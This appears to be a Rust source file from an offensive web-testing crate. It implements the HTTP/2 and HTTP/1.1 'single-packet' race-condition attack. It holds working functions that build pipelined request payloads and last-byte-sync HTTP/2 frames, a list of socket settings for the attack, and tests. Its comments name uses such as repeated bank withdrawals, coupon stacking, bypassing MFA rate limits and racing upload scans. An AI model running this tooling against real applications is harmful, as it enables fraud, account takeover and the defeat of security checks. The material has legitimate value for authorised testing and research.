Skip to main content

wafrift_encoding/encoding/
race.rs

1//! Single-packet race-condition primitives.
2//!
3//! Race conditions in web applications usually require the attacker
4//! to fire N parallel requests so close in time that they all reach
5//! the application's logic check before any of them commits. The
6//! limit is no longer "how fast can I send" — it's "how synchronized
7//! can my requests be when they hit the server's TCP layer."
8//!
9//! James Kettle's Black Hat 2023 "Smashing the State Machine" research
10//! introduced the **single-packet attack**: pack the LAST byte of N
11//! HTTP/2 requests (or N parallel HTTP/1.1 pipelined requests) into
12//! one IP packet. The kernel delivers all N at once; they cross the
13//! application's race window in nanoseconds rather than milliseconds.
14//!
15//! This module builds the WIRE BYTES for the attack. The actual
16//! "send everything in one TCP packet" trick is a transport-layer
17//! concern: the operator must disable Nagle (`TCP_NODELAY` off — yes
18//! OFF, so Nagle batches the writes), keep the connection open with
19//! HTTP/2, and use `MSG_MORE`-style writev to coalesce.
20//!
21//! Two attack shapes:
22//!
23//! - **HTTP/2 last-byte-sync**. Send N concurrent streams, each
24//!   stalled with the body almost-but-not-quite complete. Then send
25//!   ONE final-byte frame per stream in a single packet. Server
26//!   wakes all N handlers in the same epoch.
27//! - **HTTP/1.1 pipelined coalesce**. Send N pipelined requests
28//!   back-to-back on one connection, with Nagle off and large MSS.
29//!   Less reliable than H2 but works against legacy origins.
30//!
31//! Use cases:
32//!
33//! - **Authorization race**: hit "withdraw $100" N times before the
34//!   balance-check fires once.
35//! - **Coupon stacking**: apply the same promo code N times.
36//! - **MFA bypass**: submit OTP guesses faster than the rate-limit
37//!   window opens.
38//! - **TOCTOU file uploads**: race between virus-scan and storage.
39
40/// Build the byte-for-byte HTTP/1.1 pipelined coalesce payload for N
41/// identical requests.
42///
43/// Each request is rendered as a complete HTTP/1.1 message. The
44/// returned `Vec<u8>` is the concatenation of all N. Operator sends
45/// this to the socket in one `write` call after setting `TCP_NODELAY`
46/// off (so Nagle batches the writes).
47///
48/// `method`, `path`, `host`, `extra_headers`, `body` are the fields
49/// of one request. They're replayed identically N times.
50#[must_use]
51pub fn pipelined_h1_coalesce(
52    n: usize,
53    method: &str,
54    path: &str,
55    host: &str,
56    extra_headers: &[(&str, &str)],
57    body: &[u8],
58) -> Vec<u8> {
59    let mut req = format!("{method} {path} HTTP/1.1\r\nHost: {host}\r\n");
60    for (k, v) in extra_headers {
61        req.push_str(&format!("{k}: {v}\r\n"));
62    }
63    if !body.is_empty() {
64        req.push_str(&format!("Content-Length: {}\r\n", body.len()));
65    } else {
66        req.push_str("Content-Length: 0\r\n");
67    }
68    req.push_str("Connection: keep-alive\r\n\r\n");
69
70    let mut out = Vec::with_capacity((req.len() + body.len()) * n);
71    for _ in 0..n {
72        out.extend_from_slice(req.as_bytes());
73        out.extend_from_slice(body);
74    }
75    out
76}
77
78/// Build the N partial-bodies for the HTTP/2 last-byte-sync attack.
79///
80/// Per Kettle 2023:
81/// 1. Open one HTTP/2 connection.
82/// 2. For each of the N target streams, send the request frames + ALL
83///    body bytes EXCEPT the last byte. The server now has N stalled
84///    streams.
85/// 3. Send one packet containing the final-byte DATA frame for every
86///    stream. The kernel delivers all N final bytes in the same epoch.
87///
88/// This function builds STEP 3's payload: `n` final-byte DATA frames,
89/// each one byte of payload, all in the same buffer.
90///
91/// `stream_ids` is the list of stream IDs the operator pre-allocated
92/// in step 2. `final_bytes` is one byte per stream — the byte that
93/// completes each request body.
94///
95/// Returns `None` if `stream_ids.len() != final_bytes.len()` or if
96/// any stream id is even (per RFC 7540 §5.1.1 client streams must be
97/// odd).
98#[must_use]
99pub fn h2_last_byte_sync_frames(stream_ids: &[u32], final_bytes: &[u8]) -> Option<Vec<u8>> {
100    if stream_ids.len() != final_bytes.len() {
101        return None;
102    }
103    for &id in stream_ids {
104        if id == 0 || id % 2 == 0 {
105            // Client-initiated streams MUST be odd and non-zero per
106            // RFC 7540 §5.1.1.
107            return None;
108        }
109    }
110
111    // Each DATA frame layout (RFC 7540 §6.1):
112    //   Length: 24 bits big-endian (1 byte of payload → 0x000001)
113    //   Type:    8 bits — 0x00 for DATA
114    //   Flags:   8 bits — 0x01 END_STREAM
115    //   Stream:  32 bits — high bit reserved, then 31-bit stream id
116    //   Payload: <Length> bytes — the final byte.
117    let mut out = Vec::with_capacity(stream_ids.len() * 10);
118    for (id, byte) in stream_ids.iter().zip(final_bytes.iter()) {
119        // Length = 1 (24-bit big-endian).
120        out.extend_from_slice(&[0x00, 0x00, 0x01]);
121        // Type DATA.
122        out.push(0x00);
123        // Flags: END_STREAM.
124        out.push(0x01);
125        // Stream id (clear the reserved high bit).
126        out.extend_from_slice(&(id & 0x7FFF_FFFF).to_be_bytes());
127        // Payload.
128        out.push(*byte);
129    }
130    Some(out)
131}
132
133/// Build the N pre-final-byte HTTP/2 frame sequences for step 2 of
134/// the last-byte-sync attack.
135///
136/// For each stream, this emits:
137///   - HEADERS frame (END_HEADERS, NOT END_STREAM) for the request line
138///   - DATA frame carrying body_len-1 bytes of the body (NOT END_STREAM)
139///
140/// The body is intentionally short by ONE byte. The operator then
141/// fires `h2_last_byte_sync_frames` once to complete every stream
142/// atomically.
143///
144/// HEADERS payload is operator-supplied (HPACK-encoded — this module
145/// doesn't carry an HPACK encoder; use `hpack` crate at the call site).
146#[must_use]
147pub fn h2_prestaged_frames(
148    stream_id: u32,
149    hpack_encoded_headers: &[u8],
150    body_without_last_byte: &[u8],
151) -> Option<Vec<u8>> {
152    if stream_id == 0 || stream_id.is_multiple_of(2) {
153        return None;
154    }
155    let mut out = Vec::new();
156
157    // HEADERS frame: length, type 0x01, flags END_HEADERS (0x04, NOT
158    // END_STREAM), stream id, payload.
159    let hlen = hpack_encoded_headers.len();
160    if hlen > 0xFF_FFFF {
161        return None;
162    }
163    out.extend_from_slice(&[(hlen >> 16) as u8, (hlen >> 8) as u8, hlen as u8]);
164    out.push(0x01); // HEADERS
165    out.push(0x04); // END_HEADERS only
166    out.extend_from_slice(&(stream_id & 0x7FFF_FFFF).to_be_bytes());
167    out.extend_from_slice(hpack_encoded_headers);
168
169    // DATA frame for the body MINUS the last byte. Flags = 0 (no
170    // END_STREAM — that's what the final-byte frame will carry).
171    if !body_without_last_byte.is_empty() {
172        let blen = body_without_last_byte.len();
173        if blen > 0xFF_FFFF {
174            return None;
175        }
176        out.extend_from_slice(&[(blen >> 16) as u8, (blen >> 8) as u8, blen as u8]);
177        out.push(0x00); // DATA
178        out.push(0x00); // no flags
179        out.extend_from_slice(&(stream_id & 0x7FFF_FFFF).to_be_bytes());
180        out.extend_from_slice(body_without_last_byte);
181    }
182
183    Some(out)
184}
185
186/// Recommended socket-level settings for the single-packet attack.
187/// Operators set these on their sender's TCP socket before issuing
188/// the payload from `pipelined_h1_coalesce` / `h2_last_byte_sync_frames`.
189pub const RECOMMENDED_SOCKET_SETTINGS: &[&str] = &[
190    "TCP_NODELAY: OFF — allow Nagle to batch the writes into one segment",
191    "SO_SNDBUF: ≥ 65536 — large enough to hold every byte before flush",
192    "MSS: default (1460 over Ethernet) — coalesces ≥10 small requests",
193    "TCP_QUICKACK: OFF — defer ACKs",
194    "TLS_RECORD_SIZE_LIMIT: 16384 — fits ≥30 typical requests in one record",
195];
196
197#[cfg(test)]
198mod tests {
199    use super::*;
200
201    #[test]
202    fn pipelined_h1_concatenates_n_copies() {
203        let payload = pipelined_h1_coalesce(
204            3,
205            "POST",
206            "/withdraw",
207            "bank.example",
208            &[("Authorization", "Bearer abc")],
209            b"amount=100",
210        );
211        let s = String::from_utf8_lossy(&payload);
212        assert_eq!(s.matches("POST /withdraw HTTP/1.1").count(), 3);
213        assert_eq!(s.matches("amount=100").count(), 3);
214    }
215
216    #[test]
217    fn pipelined_h1_sets_content_length() {
218        let payload = pipelined_h1_coalesce(1, "POST", "/x", "h", &[], b"hello");
219        let s = String::from_utf8_lossy(&payload);
220        assert!(s.contains("Content-Length: 5"));
221    }
222
223    #[test]
224    fn pipelined_h1_empty_body_zero_length() {
225        let payload = pipelined_h1_coalesce(1, "GET", "/x", "h", &[], b"");
226        let s = String::from_utf8_lossy(&payload);
227        assert!(s.contains("Content-Length: 0"));
228    }
229
230    #[test]
231    fn pipelined_h1_keep_alive_set() {
232        let payload = pipelined_h1_coalesce(1, "GET", "/x", "h", &[], b"");
233        let s = String::from_utf8_lossy(&payload);
234        assert!(s.contains("Connection: keep-alive"));
235    }
236
237    #[test]
238    fn pipelined_h1_zero_copies_empty_output() {
239        let payload = pipelined_h1_coalesce(0, "GET", "/x", "h", &[], b"");
240        assert!(payload.is_empty());
241    }
242
243    #[test]
244    fn pipelined_h1_includes_extra_headers() {
245        let payload = pipelined_h1_coalesce(
246            1,
247            "GET",
248            "/x",
249            "h",
250            &[("X-Custom", "yes"), ("X-Trace", "abc")],
251            b"",
252        );
253        let s = String::from_utf8_lossy(&payload);
254        assert!(s.contains("X-Custom: yes"));
255        assert!(s.contains("X-Trace: abc"));
256    }
257
258    #[test]
259    fn h2_last_byte_sync_rejects_mismatched_lengths() {
260        let r = h2_last_byte_sync_frames(&[1, 3], b"a");
261        assert!(r.is_none());
262    }
263
264    #[test]
265    fn h2_last_byte_sync_rejects_zero_stream() {
266        let r = h2_last_byte_sync_frames(&[0], b"a");
267        assert!(r.is_none());
268    }
269
270    #[test]
271    fn h2_last_byte_sync_rejects_even_stream() {
272        let r = h2_last_byte_sync_frames(&[2], b"a");
273        assert!(r.is_none());
274    }
275
276    #[test]
277    fn h2_last_byte_sync_basic_frame_shape() {
278        let bytes = h2_last_byte_sync_frames(&[1], b"X").expect("ok");
279        // 9-byte header + 1-byte payload = 10 bytes.
280        assert_eq!(bytes.len(), 10);
281        // Length = 1.
282        assert_eq!(&bytes[0..3], &[0x00, 0x00, 0x01]);
283        // Type DATA.
284        assert_eq!(bytes[3], 0x00);
285        // Flags END_STREAM.
286        assert_eq!(bytes[4], 0x01);
287        // Stream id 1.
288        assert_eq!(&bytes[5..9], &[0x00, 0x00, 0x00, 0x01]);
289        // Payload.
290        assert_eq!(bytes[9], b'X');
291    }
292
293    #[test]
294    fn h2_last_byte_sync_multiple_streams() {
295        let bytes = h2_last_byte_sync_frames(&[1, 3, 5, 7, 9], b"ABCDE").expect("ok");
296        // 5 frames × 10 bytes each.
297        assert_eq!(bytes.len(), 50);
298        // Stream IDs in order.
299        for (i, expected_id) in [1u32, 3, 5, 7, 9].iter().enumerate() {
300            let offset = i * 10 + 5;
301            let id = u32::from_be_bytes([
302                bytes[offset],
303                bytes[offset + 1],
304                bytes[offset + 2],
305                bytes[offset + 3],
306            ]);
307            assert_eq!(id, *expected_id);
308        }
309    }
310
311    #[test]
312    fn h2_last_byte_sync_clears_reserved_bit() {
313        // Stream id with the high bit set should have it cleared by
314        // the encoder.
315        let bytes = h2_last_byte_sync_frames(&[0x80_00_00_01], b"x").expect("ok");
316        let id = u32::from_be_bytes([bytes[5], bytes[6], bytes[7], bytes[8]]);
317        assert_eq!(id & 0x8000_0000, 0, "high bit must be cleared");
318        assert_eq!(id, 1, "low bits preserved");
319    }
320
321    #[test]
322    fn h2_prestaged_rejects_zero_stream() {
323        let r = h2_prestaged_frames(0, &[0x01], &[0x02]);
324        assert!(r.is_none());
325    }
326
327    #[test]
328    fn h2_prestaged_emits_headers_then_data() {
329        let hpack = vec![0x82]; // HPACK static-table index 2 — `:method GET`
330        let body_short = b"hello"; // 5 bytes
331        let bytes = h2_prestaged_frames(1, &hpack, body_short).expect("ok");
332        // HEADERS frame: 9-byte header + 1-byte payload = 10.
333        // DATA frame: 9-byte header + 5-byte body = 14.
334        // Total = 24.
335        assert_eq!(bytes.len(), 24);
336        // HEADERS type at offset 3.
337        assert_eq!(bytes[3], 0x01);
338        // HEADERS flags END_HEADERS only.
339        assert_eq!(bytes[4], 0x04);
340        // DATA type at offset 10 + 3 = 13.
341        assert_eq!(bytes[13], 0x00);
342        // DATA flags 0 (no END_STREAM).
343        assert_eq!(bytes[14], 0x00);
344    }
345
346    #[test]
347    fn h2_prestaged_empty_body_emits_only_headers() {
348        let hpack = vec![0x82];
349        let bytes = h2_prestaged_frames(1, &hpack, b"").expect("ok");
350        // Only HEADERS frame: 9 + 1 = 10.
351        assert_eq!(bytes.len(), 10);
352    }
353
354    #[test]
355    fn h2_prestaged_rejects_oversized_headers() {
356        // 2^24 bytes — exceeds 24-bit length field.
357        let huge = vec![0u8; 16_777_216];
358        let r = h2_prestaged_frames(1, &huge, &[]);
359        assert!(r.is_none());
360    }
361
362    #[test]
363    fn socket_settings_documented() {
364        assert!(!RECOMMENDED_SOCKET_SETTINGS.is_empty());
365        assert!(
366            RECOMMENDED_SOCKET_SETTINGS
367                .iter()
368                .any(|s| s.contains("TCP_NODELAY"))
369        );
370        assert!(
371            RECOMMENDED_SOCKET_SETTINGS
372                .iter()
373                .any(|s| s.contains("Nagle"))
374        );
375    }
376
377    #[test]
378    fn h2_last_byte_sync_deterministic() {
379        let a = h2_last_byte_sync_frames(&[1, 3], b"ab").expect("ok");
380        let b = h2_last_byte_sync_frames(&[1, 3], b"ab").expect("ok");
381        assert_eq!(a, b);
382    }
383
384    #[test]
385    fn pipelined_h1_deterministic() {
386        let a = pipelined_h1_coalesce(5, "GET", "/x", "h", &[], b"y");
387        let b = pipelined_h1_coalesce(5, "GET", "/x", "h", &[], b"y");
388        assert_eq!(a, b);
389    }
390
391    #[test]
392    fn adversarial_large_n_no_panic() {
393        let _ = pipelined_h1_coalesce(10_000, "GET", "/", "h", &[], b"");
394    }
395
396    #[test]
397    fn adversarial_many_streams_no_panic() {
398        let ids: Vec<u32> = (1..=10_001).step_by(2).take(5_000).collect();
399        let bytes_payload: Vec<u8> = ids.iter().map(|_| b'X').collect();
400        let r = h2_last_byte_sync_frames(&ids, &bytes_payload).expect("ok");
401        assert_eq!(r.len(), 5_000 * 10);
402    }
403}